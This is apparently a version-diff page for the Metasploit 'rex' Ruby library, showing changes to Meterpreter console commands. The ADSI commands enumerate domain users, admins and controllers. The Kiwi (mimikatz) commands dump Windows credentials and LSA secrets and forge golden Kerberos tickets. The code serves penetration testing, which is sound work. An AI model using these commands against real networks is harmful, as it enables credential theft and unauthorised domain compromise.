rex 2.0.8 → 2.0.9
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +4 -4
- data/lib/rex.rb +1 -0
- data/lib/rex/arch.rb +5 -0
- data/lib/rex/arch/x86.rb +19 -5
- data/lib/rex/arch/zarch.rb +17 -0
- data/lib/rex/compat.rb +5 -4
- data/lib/rex/constants.rb +3 -1
- data/lib/rex/encoder/alpha2/alpha_mixed.rb +70 -9
- data/lib/rex/encoder/alpha2/alpha_upper.rb +67 -8
- data/lib/rex/exploitation/cmdstager.rb +1 -0
- data/lib/rex/exploitation/cmdstager/certutil.rb +115 -0
- data/lib/rex/exploitation/cmdstager/echo.rb +6 -3
- data/lib/rex/exploitation/egghunter.rb +1 -1
- data/lib/rex/google/geolocation.rb +68 -0
- data/lib/rex/io/bidirectional_pipe.rb +0 -4
- data/lib/rex/java/serialization.rb +2 -0
- data/lib/rex/java/serialization/decode_error.rb +11 -0
- data/lib/rex/java/serialization/encode_error.rb +11 -0
- data/lib/rex/java/serialization/model.rb +2 -0
- data/lib/rex/java/serialization/model/annotation.rb +3 -3
- data/lib/rex/java/serialization/model/block_data.rb +3 -3
- data/lib/rex/java/serialization/model/block_data_long.rb +3 -3
- data/lib/rex/java/serialization/model/class_desc.rb +6 -6
- data/lib/rex/java/serialization/model/contents.rb +17 -10
- data/lib/rex/java/serialization/model/field.rb +12 -11
- data/lib/rex/java/serialization/model/long_utf.rb +3 -3
- data/lib/rex/java/serialization/model/new_array.rb +22 -23
- data/lib/rex/java/serialization/model/new_class.rb +57 -0
- data/lib/rex/java/serialization/model/new_class_desc.rb +15 -16
- data/lib/rex/java/serialization/model/new_enum.rb +5 -5
- data/lib/rex/java/serialization/model/new_object.rb +22 -17
- data/lib/rex/java/serialization/model/proxy_class_desc.rb +109 -0
- data/lib/rex/java/serialization/model/reference.rb +4 -4
- data/lib/rex/java/serialization/model/stream.rb +7 -7
- data/lib/rex/java/serialization/model/utf.rb +3 -3
- data/lib/rex/json_hash_file.rb +94 -0
- data/lib/rex/logging/log_sink.rb +1 -0
- data/lib/rex/logging/sinks/timestamp_flatfile.rb +21 -0
- data/lib/rex/parser/appscan_nokogiri.rb +13 -23
- data/lib/rex/parser/fs/ntfs.rb +10 -5
- data/lib/rex/parser/nmap_nokogiri.rb +3 -1
- data/lib/rex/parser/openvas_nokogiri.rb +70 -73
- data/lib/rex/parser/winscp.rb +108 -0
- data/lib/rex/parser/x509_certificate.rb +92 -0
- data/lib/rex/payloads.rb +0 -1
- data/lib/rex/payloads/meterpreter/config.rb +154 -0
- data/lib/rex/payloads/meterpreter/uri_checksum.rb +136 -0
- data/lib/rex/post/meterpreter.rb +1 -1
- data/lib/rex/post/meterpreter/client.rb +26 -3
- data/lib/rex/post/meterpreter/client_core.rb +387 -75
- data/lib/rex/post/meterpreter/extensions/android/android.rb +127 -37
- data/lib/rex/post/meterpreter/extensions/android/tlv.rb +46 -25
- data/lib/rex/post/meterpreter/extensions/extapi/extapi.rb +4 -0
- data/lib/rex/post/meterpreter/extensions/extapi/ntds/ntds.rb +39 -0
- data/lib/rex/post/meterpreter/extensions/extapi/pageant/pageant.rb +44 -0
- data/lib/rex/post/meterpreter/extensions/extapi/tlv.rb +9 -0
- data/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb +16 -1
- data/lib/rex/post/meterpreter/extensions/priv/priv.rb +1 -1
- data/lib/rex/post/meterpreter/extensions/python/python.rb +114 -0
- data/lib/rex/post/meterpreter/extensions/python/tlv.rb +21 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb +17 -14
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb +33 -12
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/mount.rb +57 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb +3 -3
- data/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb +3 -1
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb +2 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb +16 -3
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb +29 -6
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_key.rb +5 -1
- data/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb +18 -6
- data/lib/rex/post/meterpreter/extensions/stdapi/ui.rb +2 -2
- data/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb +34 -36
- data/lib/rex/post/meterpreter/packet.rb +29 -0
- data/lib/rex/post/meterpreter/packet_dispatcher.rb +20 -7
- data/lib/rex/post/meterpreter/ui/console.rb +1 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb +230 -72
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +544 -34
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb +188 -57
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb +115 -93
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/dhcp.rb +1 -1
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb +1 -1
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb +49 -15
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/timestomp.rb +11 -2
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/python.rb +187 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +324 -133
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb +52 -2
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb +68 -65
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb +9 -1
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb +113 -118
- data/lib/rex/post/meterpreter/ui/console/interactive_channel.rb +3 -0
- data/lib/rex/powershell.rb +62 -0
- data/lib/rex/powershell/command.rb +359 -0
- data/lib/rex/{exploitation/powershell → powershell}/function.rb +0 -2
- data/lib/rex/{exploitation/powershell → powershell}/obfu.rb +0 -2
- data/lib/rex/{exploitation/powershell → powershell}/output.rb +11 -5
- data/lib/rex/{exploitation/powershell → powershell}/param.rb +0 -2
- data/lib/rex/powershell/parser.rb +182 -0
- data/lib/rex/powershell/payload.rb +78 -0
- data/lib/rex/{exploitation/powershell → powershell}/psh_methods.rb +16 -2
- data/lib/rex/{exploitation/powershell → powershell}/script.rb +2 -4
- data/lib/rex/proto/dcerpc/client.rb +6 -6
- data/lib/rex/proto/dcerpc/exceptions.rb +26 -0
- data/lib/rex/proto/http/client.rb +3 -3
- data/lib/rex/proto/http/client_request.rb +0 -5
- data/lib/rex/proto/http/response.rb +86 -0
- data/lib/rex/proto/ipmi/utils.rb +30 -26
- data/lib/rex/proto/kerberos/client.rb +1 -1
- data/lib/rex/proto/kerberos/model/kdc_request.rb +2 -2
- data/lib/rex/proto/rfb/client.rb +8 -3
- data/lib/rex/proto/rfb/constants.rb +1 -1
- data/lib/rex/proto/rmi.rb +2 -0
- data/lib/rex/proto/rmi/decode_error.rb +10 -0
- data/lib/rex/proto/rmi/exception.rb +10 -0
- data/lib/rex/proto/rmi/model.rb +5 -0
- data/lib/rex/proto/rmi/model/call.rb +4 -4
- data/lib/rex/proto/rmi/model/call_data.rb +137 -0
- data/lib/rex/proto/rmi/model/dgc_ack.rb +2 -2
- data/lib/rex/proto/rmi/model/element.rb +26 -11
- data/lib/rex/proto/rmi/model/output_header.rb +4 -4
- data/lib/rex/proto/rmi/model/ping.rb +2 -2
- data/lib/rex/proto/rmi/model/ping_ack.rb +2 -2
- data/lib/rex/proto/rmi/model/protocol_ack.rb +2 -2
- data/lib/rex/proto/rmi/model/return_data.rb +5 -5
- data/lib/rex/proto/rmi/model/return_value.rb +124 -0
- data/lib/rex/proto/rmi/model/unique_identifier.rb +77 -0
- data/lib/rex/proto/steam.rb +3 -0
- data/lib/rex/proto/steam/message.rb +125 -0
- data/lib/rex/proto/tftp/client.rb +35 -14
- data/lib/rex/random_identifier_generator.rb +2 -0
- data/lib/rex/ropbuilder.rb +1 -1
- data/lib/rex/socket/parameters.rb +9 -0
- data/lib/rex/socket/ssl_tcp.rb +25 -41
- data/lib/rex/socket/ssl_tcp_server.rb +10 -21
- data/lib/rex/sslscan/result.rb +20 -1
- data/lib/rex/text.rb +241 -55
- data/lib/rex/ui/output.rb +0 -3
- data/lib/rex/ui/subscriber.rb +0 -10
- data/lib/rex/ui/text/color.rb +9 -0
- data/lib/rex/ui/text/dispatcher_shell.rb +1 -0
- data/lib/rex/ui/text/output.rb +15 -4
- data/lib/rex/ui/text/output/file.rb +1 -0
- data/lib/rex/ui/text/output/stdio.rb +0 -16
- data/lib/rex/ui/text/shell.rb +3 -0
- data/lib/rex/ui/text/table.rb +85 -19
- data/lib/rex/user_agent.rb +118 -0
- data/rex.gemspec +2 -2
- metadata +41 -14
- data/lib/rex/exploitation/powershell.rb +0 -62
- data/lib/rex/exploitation/powershell/parser.rb +0 -183
- data/lib/rex/payloads/meterpreter.rb +0 -2
- data/lib/rex/payloads/meterpreter/patch.rb +0 -136
@@ -26,9 +26,12 @@ class Console::CommandDispatcher::Extapi::Adsi
|
|
26
26
|
#
|
27
27
|
def commands
|
28
28
|
{
|
29
|
-
|
30
|
-
|
31
|
-
|
29
|
+
'adsi_user_enum' => 'Enumerate all users on the specified domain.',
|
30
|
+
'adsi_group_enum' => 'Enumerate all groups on the specified domain.',
|
31
|
+
'adsi_nested_group_user_enum' => 'Recursively enumerate users who are effectively members of the group specified.',
|
32
|
+
'adsi_computer_enum' => 'Enumerate all computers on the specified domain.',
|
33
|
+
'adsi_dc_enum' => 'Enumerate all domain controllers on the specified domain.',
|
34
|
+
'adsi_domain_query' => 'Enumerate all objects on the specified domain that match a filter.'
|
32
35
|
}
|
33
36
|
end
|
34
37
|
|
@@ -36,46 +39,127 @@ class Console::CommandDispatcher::Extapi::Adsi
|
|
36
39
|
# Name for this dispatcher
|
37
40
|
#
|
38
41
|
def name
|
39
|
-
|
42
|
+
'Extapi: ADSI Management'
|
43
|
+
end
|
44
|
+
|
45
|
+
#
|
46
|
+
# Options for the adsi_nested_group_user_enum command.
|
47
|
+
#
|
48
|
+
@@adsi_nested_group_user_enum_opts = Rex::Parser::Arguments.new(
|
49
|
+
'-h' => [false, 'Help banner'],
|
50
|
+
'-o' => [true, 'Path to output file.'],
|
51
|
+
'-m' => [true, 'Maximum results to return.'],
|
52
|
+
'-p' => [true, 'Result set page size.']
|
53
|
+
)
|
54
|
+
|
55
|
+
def adsi_nested_group_user_enum_usage
|
56
|
+
print_line('USAGE:')
|
57
|
+
print_line(' adsi_nested_group_user_enum <domain> <Group DN> [-h] [-m maxresults] [-p pagesize] [-o file]')
|
58
|
+
print_line
|
59
|
+
print_line('DESCRIPTION:')
|
60
|
+
print_line(' Enumerate the users who are members of the named group, taking nested groups into account.')
|
61
|
+
print_line(' For example, specifying the "Domain Admins" group DN will list all users who are effectively')
|
62
|
+
print_line(' members of the Domain Admins group, even if they are in practice members of intermediary groups.')
|
63
|
+
print_line
|
64
|
+
print_line('EXAMPLE:')
|
65
|
+
print_line(' The example below will list all members of the "Domain Admins" group on the STUFUS domain:')
|
66
|
+
print_line(' adsi_nested_group_user_enum STUFUS "CN=Domain Admins,CN=Users,DC=mwrinfosecurity,DC=com"')
|
67
|
+
print_line(@@adsi_nested_group_user_enum_opts.usage)
|
68
|
+
end
|
69
|
+
|
70
|
+
#
|
71
|
+
# Enumerate domain groups.
|
72
|
+
#
|
73
|
+
def cmd_adsi_nested_group_user_enum(*args)
|
74
|
+
args.unshift('-h') if args.length == 0
|
75
|
+
if args.include?('-h') || args.length < 2
|
76
|
+
adsi_nested_group_user_enum_usage
|
77
|
+
return true
|
78
|
+
end
|
79
|
+
|
80
|
+
domain = args.shift
|
81
|
+
groupdn = args.shift
|
82
|
+
# This OID (canonical name = LDAP_MATCHING_RULE_IN_CHAIN) will recursively search each 'memberof' parent
|
83
|
+
# https://support.microsoft.com/en-us/kb/275523 for more information -stufus
|
84
|
+
filter = "(&(objectClass=user)(memberof:1.2.840.113556.1.4.1941:=#{groupdn}))"
|
85
|
+
fields = ['samaccountname', 'name', 'distinguishedname', 'description', 'comment']
|
86
|
+
args = [domain, filter] + fields + args
|
87
|
+
return cmd_adsi_domain_query(*args)
|
40
88
|
end
|
41
89
|
|
42
90
|
#
|
43
91
|
# Options for the adsi_user_enum command.
|
44
92
|
#
|
45
93
|
@@adsi_user_enum_opts = Rex::Parser::Arguments.new(
|
46
|
-
|
47
|
-
|
48
|
-
|
94
|
+
'-h' => [false, 'Help banner.'],
|
95
|
+
'-o' => [true, 'Path to output file.'],
|
96
|
+
'-m' => [true, 'Maximum results to return.'],
|
97
|
+
'-p' => [true, 'Result set page size.']
|
49
98
|
)
|
50
99
|
|
51
100
|
def adsi_user_enum_usage
|
52
|
-
|
53
|
-
|
54
|
-
|
55
|
-
|
56
|
-
|
57
|
-
|
101
|
+
print_line('USAGE:')
|
102
|
+
print_line(' adsi_user_enum <domain> [-h] [-m maxresults] [-p pagesize] [-o file]')
|
103
|
+
print_line
|
104
|
+
print_line('DESCRIPTION:')
|
105
|
+
print_line(' Enumerate all users on the target domain.')
|
106
|
+
print_line(' Enumeration returns information such as the user name, SAM account name, status, comments etc')
|
107
|
+
print_line(@@adsi_user_enum_opts.usage)
|
58
108
|
end
|
59
109
|
|
60
110
|
#
|
61
111
|
# Enumerate domain users.
|
62
112
|
#
|
63
113
|
def cmd_adsi_user_enum(*args)
|
64
|
-
args.unshift(
|
65
|
-
if args.include?(
|
114
|
+
args.unshift('-h') if args.length == 0
|
115
|
+
if args.include?('-h')
|
66
116
|
adsi_user_enum_usage
|
67
117
|
return true
|
68
118
|
end
|
69
119
|
|
70
120
|
domain = args.shift
|
71
|
-
filter =
|
72
|
-
fields = [
|
73
|
-
|
74
|
-
|
75
|
-
|
76
|
-
|
77
|
-
|
78
|
-
|
121
|
+
filter = '(objectClass=user)'
|
122
|
+
fields = ['samaccountname', 'name', 'distinguishedname', 'description', 'comment']
|
123
|
+
args = [domain, filter] + fields + args
|
124
|
+
return cmd_adsi_domain_query(*args)
|
125
|
+
end
|
126
|
+
|
127
|
+
#
|
128
|
+
# Options for the adsi_group_enum command.
|
129
|
+
#
|
130
|
+
@@adsi_group_enum_opts = Rex::Parser::Arguments.new(
|
131
|
+
'-h' => [false, 'Help banner.'],
|
132
|
+
'-o' => [true, 'Path to output file.'],
|
133
|
+
'-m' => [true, 'Maximum results to return.'],
|
134
|
+
'-p' => [true, 'Result set page size.']
|
135
|
+
)
|
136
|
+
|
137
|
+
def adsi_group_enum_usage
|
138
|
+
print_line('USAGE:')
|
139
|
+
print_line(' adsi_nested_group_user_enum <domain> [-h] [-m maxresults] [-p pagesize] [-o file]')
|
140
|
+
print_line
|
141
|
+
print_line('DESCRIPTION:')
|
142
|
+
print_line(' Enumerate all groups on the target domain.')
|
143
|
+
print_line
|
144
|
+
print_line('EXAMPLE:')
|
145
|
+
print_line(' The example below will list all groups on the STUFUS domain.')
|
146
|
+
print_line(' adsi_group_enum STUFUS')
|
147
|
+
print_line(@@adsi_group_enum_opts.usage)
|
148
|
+
end
|
149
|
+
|
150
|
+
#
|
151
|
+
# Enumerate domain groups.
|
152
|
+
#
|
153
|
+
def cmd_adsi_group_enum(*args)
|
154
|
+
args.unshift('-h') if args.length == 0
|
155
|
+
if args.include?('-h')
|
156
|
+
adsi_group_enum_usage
|
157
|
+
return true
|
158
|
+
end
|
159
|
+
|
160
|
+
domain = args.shift
|
161
|
+
filter = '(objectClass=group)'
|
162
|
+
fields = ['name', 'distinguishedname', 'description',]
|
79
163
|
args = [domain, filter] + fields + args
|
80
164
|
return cmd_adsi_domain_query(*args)
|
81
165
|
end
|
@@ -84,37 +168,74 @@ class Console::CommandDispatcher::Extapi::Adsi
|
|
84
168
|
# Options for the adsi_computer_enum command.
|
85
169
|
#
|
86
170
|
@@adsi_computer_enum_opts = Rex::Parser::Arguments.new(
|
87
|
-
|
88
|
-
|
89
|
-
|
171
|
+
'-h' => [false, 'Help banner.'],
|
172
|
+
'-o' => [true, 'Path to output file.'],
|
173
|
+
'-m' => [true, 'Maximum results to return.'],
|
174
|
+
'-p' => [true, 'Result set page size.']
|
90
175
|
)
|
91
176
|
|
92
177
|
def adsi_computer_enum_usage
|
93
|
-
|
94
|
-
|
95
|
-
|
96
|
-
|
97
|
-
|
178
|
+
print_line('USAGE:')
|
179
|
+
print_line(' adsi_computer_enum <domain> [-h] [-m maxresults] [-p pagesize] [-o file]')
|
180
|
+
print_line
|
181
|
+
print_line('DESCRIPTION:')
|
182
|
+
print_line(' Enumerate all computers on the target domain.')
|
183
|
+
print_line(@@adsi_computer_enum_opts.usage)
|
98
184
|
end
|
99
185
|
|
100
186
|
#
|
101
187
|
# Enumerate domain computers.
|
102
188
|
#
|
103
189
|
def cmd_adsi_computer_enum(*args)
|
104
|
-
args.unshift(
|
105
|
-
if args.include?(
|
190
|
+
args.unshift('-h') if args.length == 0
|
191
|
+
if args.include?('-h')
|
106
192
|
adsi_computer_enum_usage
|
107
193
|
return true
|
108
194
|
end
|
109
195
|
|
110
196
|
domain = args.shift
|
111
|
-
filter =
|
112
|
-
fields = [
|
113
|
-
|
114
|
-
|
115
|
-
|
116
|
-
|
117
|
-
|
197
|
+
filter = '(objectClass=computer)'
|
198
|
+
fields = ['name', 'dnshostname', 'distinguishedname', 'operatingsystem',
|
199
|
+
'operatingsystemversion', 'operatingsystemservicepack', 'description',
|
200
|
+
'comment' ]
|
201
|
+
args = [domain, filter] + fields + args
|
202
|
+
return cmd_adsi_domain_query(*args)
|
203
|
+
end
|
204
|
+
|
205
|
+
#
|
206
|
+
# Options for the adsi_dc_enum command.
|
207
|
+
#
|
208
|
+
@@adsi_dc_enum_opts = Rex::Parser::Arguments.new(
|
209
|
+
'-h' => [false, 'Help banner.'],
|
210
|
+
'-o' => [true, 'Path to output file.'],
|
211
|
+
'-m' => [true, 'Maximum results to return.'],
|
212
|
+
'-p' => [true, 'Result set page size.']
|
213
|
+
)
|
214
|
+
|
215
|
+
def adsi_dc_enum_usage
|
216
|
+
print_line('USAGE:')
|
217
|
+
print_line(' adsi_dc_enum <domain> [-h] [-m maxresults] [-p pagesize] [-o file]')
|
218
|
+
print_line
|
219
|
+
print_line('DESCRIPTION:')
|
220
|
+
print_line(' Enumerate the domain controllers on the target domain.')
|
221
|
+
print_line(@@adsi_dc_enum_opts.usage)
|
222
|
+
end
|
223
|
+
|
224
|
+
#
|
225
|
+
# Enumerate domain dcs.
|
226
|
+
#
|
227
|
+
def cmd_adsi_dc_enum(*args)
|
228
|
+
args.unshift('-h') if args.length == 0
|
229
|
+
if args.include?('-h')
|
230
|
+
adsi_dc_enum_usage
|
231
|
+
return true
|
232
|
+
end
|
233
|
+
|
234
|
+
domain = args.shift
|
235
|
+
# This LDAP filter will pull out domain controllers
|
236
|
+
filter = '(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))'
|
237
|
+
fields = ['name', 'dnshostname', 'distinguishedname', 'operatingsystem',
|
238
|
+
'operatingsystemversion', 'operatingsystemservicepack', 'description', 'comment' ]
|
118
239
|
args = [domain, filter] + fields + args
|
119
240
|
return cmd_adsi_domain_query(*args)
|
120
241
|
end
|
@@ -123,17 +244,19 @@ class Console::CommandDispatcher::Extapi::Adsi
|
|
123
244
|
# Options for the adsi_domain_query command.
|
124
245
|
#
|
125
246
|
@@adsi_domain_query_opts = Rex::Parser::Arguments.new(
|
126
|
-
|
127
|
-
|
128
|
-
|
247
|
+
'-h' => [false, 'Help banner.'],
|
248
|
+
'-o' => [true, 'Path to output file.'],
|
249
|
+
'-m' => [true, 'Maximum results to return.'],
|
250
|
+
'-p' => [true, 'Result set page size.']
|
129
251
|
)
|
130
252
|
|
131
253
|
def adsi_domain_query_usage
|
132
|
-
|
133
|
-
|
134
|
-
|
135
|
-
|
136
|
-
|
254
|
+
print_line('USAGE:')
|
255
|
+
print_line(' adsi_domain_query <domain> <filter> <field 1> [field 2 [field ..]] [-h] [-m maxresults] [-p pagesize] [-o file]')
|
256
|
+
print_line
|
257
|
+
print_line('DESCRIPTION:')
|
258
|
+
print_line(' Enumerates the objects on the target domain, returning the set of fields that are specified.')
|
259
|
+
print_line(@@adsi_domain_query_opts.usage)
|
137
260
|
end
|
138
261
|
|
139
262
|
#
|
@@ -143,22 +266,25 @@ class Console::CommandDispatcher::Extapi::Adsi
|
|
143
266
|
page_size = DEFAULT_PAGE_SIZE
|
144
267
|
max_results = DEFAULT_MAX_RESULTS
|
145
268
|
|
146
|
-
args.unshift(
|
269
|
+
args.unshift('-h') if args.length < 3
|
270
|
+
output_file = nil
|
147
271
|
|
148
272
|
@@adsi_domain_query_opts.parse(args) { |opt, idx, val|
|
149
273
|
case opt
|
150
|
-
when
|
274
|
+
when '-p'
|
151
275
|
page_size = val.to_i
|
152
|
-
when
|
276
|
+
when '-o'
|
277
|
+
output_file = val
|
278
|
+
when '-m'
|
153
279
|
max_results = val.to_i
|
154
|
-
when
|
280
|
+
when '-h'
|
155
281
|
adsi_domain_query_usage
|
156
282
|
return true
|
157
283
|
end
|
158
284
|
}
|
159
285
|
|
160
286
|
# Assume that the flags are passed in at the end. Safe?
|
161
|
-
switch_index = args.index { |a| a.start_with?(
|
287
|
+
switch_index = args.index { |a| a.start_with?('-') }
|
162
288
|
if switch_index
|
163
289
|
args = args.first(switch_index)
|
164
290
|
end
|
@@ -181,11 +307,16 @@ class Console::CommandDispatcher::Extapi::Adsi
|
|
181
307
|
|
182
308
|
print_line
|
183
309
|
print_line(table.to_s)
|
184
|
-
|
185
310
|
print_line("Total objects: #{objects[:results].length}")
|
186
|
-
|
187
311
|
print_line
|
188
312
|
|
313
|
+
if output_file
|
314
|
+
::File.open(output_file, 'w') do |f|
|
315
|
+
f.write("#{table.to_s}\n")
|
316
|
+
f.write("\nTotal objects: #{objects[:results].length}\n")
|
317
|
+
end
|
318
|
+
end
|
319
|
+
|
189
320
|
return true
|
190
321
|
end
|
191
322
|
|
@@ -210,7 +341,7 @@ protected
|
|
210
341
|
# for UI level stuff, rendering raw as hex is really the only option
|
211
342
|
values << Rex::Text.to_hex(v[:value], '')
|
212
343
|
when :array
|
213
|
-
val = "#{to_table_row(v[:value]).join(
|
344
|
+
val = "#{to_table_row(v[:value]).join(', ')}"
|
214
345
|
|
215
346
|
# we'll truncate the output of the array because it could be excessive if we
|
216
347
|
# don't. Users who want the detail of this stuff should probably script it.
|
@@ -224,7 +355,7 @@ protected
|
|
224
355
|
when :path
|
225
356
|
values << "Vol: #{v[:volume]}, Path: #{v[:path]}, Type: #{v[:vol_type]}"
|
226
357
|
when :unknown
|
227
|
-
values <<
|
358
|
+
values << '(unknown)'
|
228
359
|
end
|
229
360
|
end
|
230
361
|
|
@@ -26,7 +26,7 @@ class Console::CommandDispatcher::Kiwi
|
|
26
26
|
# Name for this dispatcher
|
27
27
|
#
|
28
28
|
def name
|
29
|
-
|
29
|
+
'Kiwi'
|
30
30
|
end
|
31
31
|
|
32
32
|
#
|
@@ -46,10 +46,9 @@ class Console::CommandDispatcher::Kiwi
|
|
46
46
|
print_line(" '#####' Ported to Metasploit by OJ Reeves `TheColonial` * * */")
|
47
47
|
print_line
|
48
48
|
|
49
|
-
if
|
50
|
-
|
49
|
+
if client.platform =~ /x86/ and client.sys.config.sysinfo['Architecture'] =~ /x64/
|
51
50
|
print_line
|
52
|
-
print_warning
|
51
|
+
print_warning('Loaded x86 Kiwi on an x64 architecture.')
|
53
52
|
end
|
54
53
|
end
|
55
54
|
|
@@ -58,19 +57,19 @@ class Console::CommandDispatcher::Kiwi
|
|
58
57
|
#
|
59
58
|
def commands
|
60
59
|
{
|
61
|
-
|
62
|
-
|
63
|
-
|
64
|
-
|
65
|
-
|
66
|
-
|
67
|
-
|
68
|
-
|
69
|
-
|
70
|
-
|
71
|
-
|
72
|
-
|
73
|
-
|
60
|
+
'creds_wdigest' => 'Retrieve WDigest creds',
|
61
|
+
'creds_msv' => 'Retrieve LM/NTLM creds (hashes)',
|
62
|
+
'creds_livessp' => 'Retrieve LiveSSP creds',
|
63
|
+
'creds_ssp' => 'Retrieve SSP creds',
|
64
|
+
'creds_tspkg' => 'Retrieve TsPkg creds',
|
65
|
+
'creds_kerberos' => 'Retrieve Kerberos creds',
|
66
|
+
'creds_all' => 'Retrieve all credentials',
|
67
|
+
'golden_ticket_create' => 'Create a golden kerberos ticket',
|
68
|
+
'kerberos_ticket_use' => 'Use a kerberos ticket',
|
69
|
+
'kerberos_ticket_purge' => 'Purge any in-use kerberos tickets',
|
70
|
+
'kerberos_ticket_list' => 'List all kerberos tickets',
|
71
|
+
'lsa_dump' => 'Dump LSA secrets',
|
72
|
+
'wifi_list' => 'List wifi profiles/creds'
|
74
73
|
}
|
75
74
|
end
|
76
75
|
|
@@ -80,7 +79,7 @@ class Console::CommandDispatcher::Kiwi
|
|
80
79
|
def cmd_lsa_dump(*args)
|
81
80
|
check_privs
|
82
81
|
|
83
|
-
print_status(
|
82
|
+
print_status('Dumping LSA secrets')
|
84
83
|
lsa = client.kiwi.lsa_dump
|
85
84
|
|
86
85
|
# the format of this data doesn't really lend itself nicely to
|
@@ -142,24 +141,24 @@ class Console::CommandDispatcher::Kiwi
|
|
142
141
|
# Valid options for the golden ticket creation functionality.
|
143
142
|
#
|
144
143
|
@@golden_ticket_create_opts = Rex::Parser::Arguments.new(
|
145
|
-
|
146
|
-
|
147
|
-
|
148
|
-
|
149
|
-
|
150
|
-
|
151
|
-
|
152
|
-
|
144
|
+
'-h' => [ false, 'Help banner' ],
|
145
|
+
'-u' => [ true, 'Name of the user to create the ticket for' ],
|
146
|
+
'-i' => [ true, 'ID of the user to associate the ticket with' ],
|
147
|
+
'-g' => [ true, 'Comma-separated list of group identifiers to include (eg: 501,502)' ],
|
148
|
+
'-d' => [ true, 'Name of the target domain (FQDN)' ],
|
149
|
+
'-k' => [ true, 'krbtgt domain user NTLM hash' ],
|
150
|
+
'-t' => [ true, 'Local path of the file to store the ticket in' ],
|
151
|
+
'-s' => [ true, 'SID of the domain' ]
|
153
152
|
)
|
154
153
|
|
155
154
|
#
|
156
155
|
# Output the usage for the ticket listing functionality.
|
157
156
|
#
|
158
157
|
def golden_ticket_create_usage
|
159
|
-
|
160
|
-
|
161
|
-
|
162
|
-
|
158
|
+
print_line('Usage: golden_ticket_create [options]')
|
159
|
+
print_line
|
160
|
+
print_line('Create a golden kerberos ticket that expires in 10 years time.')
|
161
|
+
print_line(@@golden_ticket_create_opts.usage)
|
163
162
|
end
|
164
163
|
|
165
164
|
#
|
@@ -181,19 +180,19 @@ class Console::CommandDispatcher::Kiwi
|
|
181
180
|
|
182
181
|
@@golden_ticket_create_opts.parse(args) { |opt, idx, val|
|
183
182
|
case opt
|
184
|
-
when
|
183
|
+
when '-u'
|
185
184
|
user = val
|
186
|
-
when
|
185
|
+
when '-d'
|
187
186
|
domain = val
|
188
|
-
when
|
187
|
+
when '-k'
|
189
188
|
tgt = val
|
190
|
-
when
|
189
|
+
when '-t'
|
191
190
|
target = val
|
192
|
-
when
|
191
|
+
when '-i'
|
193
192
|
id = val.to_i
|
194
|
-
when
|
193
|
+
when '-g'
|
195
194
|
group_ids = val.split(',').map { |g| g.to_i }.to_a
|
196
|
-
when
|
195
|
+
when '-s'
|
197
196
|
sid = val
|
198
197
|
end
|
199
198
|
}
|
@@ -207,7 +206,7 @@ class Console::CommandDispatcher::Kiwi
|
|
207
206
|
ticket = client.kiwi.golden_ticket_create(user, domain, sid, tgt, id, group_ids)
|
208
207
|
|
209
208
|
::File.open( target, 'wb' ) do |f|
|
210
|
-
f.write
|
209
|
+
f.write(ticket)
|
211
210
|
end
|
212
211
|
|
213
212
|
print_good("Golden Kerberos ticket written to #{target}")
|
@@ -217,26 +216,26 @@ class Console::CommandDispatcher::Kiwi
|
|
217
216
|
# Valid options for the ticket listing functionality.
|
218
217
|
#
|
219
218
|
@@kerberos_ticket_list_opts = Rex::Parser::Arguments.new(
|
220
|
-
|
221
|
-
|
222
|
-
|
219
|
+
'-h' => [ false, 'Help banner' ],
|
220
|
+
'-e' => [ false, 'Export Kerberos tickets to disk' ],
|
221
|
+
'-p' => [ true, 'Path to export Kerberos tickets to' ]
|
223
222
|
)
|
224
223
|
|
225
224
|
#
|
226
225
|
# Output the usage for the ticket listing functionality.
|
227
226
|
#
|
228
227
|
def kerberos_ticket_list_usage
|
229
|
-
|
230
|
-
|
231
|
-
|
232
|
-
|
228
|
+
print_line('Usage: kerberos_ticket_list [options]')
|
229
|
+
print_line
|
230
|
+
print_line('List all the available Kerberos tickets.')
|
231
|
+
print_line(@@kerberos_ticket_list_opts.usage)
|
233
232
|
end
|
234
233
|
|
235
234
|
#
|
236
235
|
# Invoke the kerberos ticket listing functionality on the target machine.
|
237
236
|
#
|
238
237
|
def cmd_kerberos_ticket_list(*args)
|
239
|
-
if args.include?(
|
238
|
+
if args.include?('-h')
|
240
239
|
kerberos_ticket_list_usage
|
241
240
|
return
|
242
241
|
end
|
@@ -244,13 +243,13 @@ class Console::CommandDispatcher::Kiwi
|
|
244
243
|
# default to not exporting
|
245
244
|
export = false
|
246
245
|
# default to the current folder for dumping tickets
|
247
|
-
export_path =
|
246
|
+
export_path = '.'
|
248
247
|
|
249
248
|
@@kerberos_ticket_list_opts.parse(args) { |opt, idx, val|
|
250
249
|
case opt
|
251
|
-
when
|
250
|
+
when '-e'
|
252
251
|
